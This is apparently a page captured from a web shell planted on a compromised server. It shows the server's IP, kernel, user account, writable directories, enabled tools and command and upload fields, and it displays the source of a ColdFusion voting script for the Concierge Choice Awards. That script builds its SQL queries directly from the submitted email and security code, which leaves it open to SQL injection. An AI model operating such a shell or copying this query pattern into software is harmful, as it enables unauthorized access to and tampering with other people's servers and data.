403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/domains/conciergechoiceawards.org/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/domains/conciergechoiceawards.org/public_html/vote.cfm
<Cfif parameterexists(url.runonce)>

		<Cfabort>

	<cfquery name="Getcats" dataSource="#ds#">
		select distinct category from cca2018
		order by CATEGORY
		</cfquery>

		<cfoutput query="getcats">

			<cfquery name="upds" dataSource="#ds#">
				update cca2018
				set catnumber = #currentrow#
				where category = '#getcats.category#'
				</cfquery>


		</cfoutput>

	<cfabort>
	
	
	<Cfabort>
	<cfquery name="geter" dataSource="#ds#">
		select * from cca2018voters
	</cfquery>
	
	<cfoutput query="geter">
			<Cfset boo = randrange(1000,9999)>
<Cfquery name="upds" dataSource="#ds#">
	update cca2018voters
	set code = #boo#
	where id = #id#
	</cfquery>
		
	</cfoutput>	
	
</Cfif>



	
	
		
<Cfif not parameterexists(form.email)>

<cfset a = 'on'>
<cfinclude template="header.cfm">


<Cfif #dateformat(currentdatetime,'yyyy-mm-dd')# gt '2019-09-04'>
	Voting has ended.
<Cfabort>

</cfif>

    <Table><tr><Td width="800" bgcolor="#ffffcd" valign="top">

<font face="helvetica" size=+1>
<center>
<strong>
Concierge Choice Awards 2018 Voting<br />
</strong></center>
<p>

<font face="helvetica" size=-1>

<cfform name=log action="vote.cfm" method="post" enctype="multipart/form-data">
<font face=verdana size=-2>
<table>
<tr><td><font face=helvetica size=-1>
<b>E-Mail Address:</b></td><Td><cfinput TYPE="text" SIZE="25" NAME="email" required="yes" message="Please enter your email address."></Td></tr>
<tr><td>

<font face=helvetica size=-1>
<b>Security Code:</b> </td><Td><cfinput TYPE="text" SIZE="25" NAME="securitycode" required="yes" message="Please enter your security code."></Td></tr>
</table>
<div align="right"><input type="submit" Value="START VOTING...">&nbsp;&nbsp;</div>
</cfform>
 </td></tr>
 <tr><Td colspan="2">
 <table><tr><td>
 <br />
 <font face="helvetica" size=-1>

 </td></tr></table>
 </Td></tr>
 </table>

<cfinclude template="footer.cfm">



<cfelse>

<center>
<img src="http://conciergechoiceawards.com/banner.png"><br>

    <Table  cellpadding="10" width="783"><tr><Td bgcolor="#ffffcd" valign="top" align="left">


<font face="helvetica" size=+1>
<center>
<strong>
Concierge Choice Awards 2018 Voting<br />
</strong></center>
<p>



<Cfquery name="checkemail" datasource="#ds#">
select *
from cca2018voters
where email like '%#form.email#%'
and code = #form.securitycode#
limit 0,1
</Cfquery>

<cfif #checkemail.recordcount# eq 0>
Invalid email address / code combination.
</cfif>

<cfif #checkemail.recordcount# eq 1>

<Cfif #checkemail.voted# eq 1>

Sorry, you have already voted!

<cfelse>
<cfquery name="updater" datasource="#ds#">
update cca2018voters
set voted = 1
where voted = 0
and email like '%#form.email#%'
</cfquery>

<cfform name=log action="vote2.cfm" method="post" enctype="multipart/form-data">

<font face=helvetica size=-1>

<Cfloop from="1" to="14" index="i">
<Cfquery name="Getcatname" datasource="#ds#">
select category from cca2018
where catnumber = #i#
</Cfquery>

<strong><cfoutput>#getcatname.category#
<input type="hidden" name="email" value="#form.email#">
</cfoutput>
</strong>
<br />

<cfquery name="Getnominees" datasource="#ds#">
select * from cca2018
where catnumber = #i#
</cfquery>
<Cfoutput query="getnominees">
<cfinput name = "vote#i#" type="radio" value="#id#" required="yes" message="You must select one #getcatname.category#">#company# <Cfif #name# is not ''>-#name#</Cfif><br />
</Cfoutput>
<p>

</Cfloop>
<div align="center"><input type="submit" Value="VOTE NOW...">&nbsp;&nbsp;</div>
</cfform>
<br /><br /><br /><br />


 </Td></tr></Table>
</cfif>

</cfif>




</Cfif>

Youez - 2016 - github.com/yon3zu
LinuXploit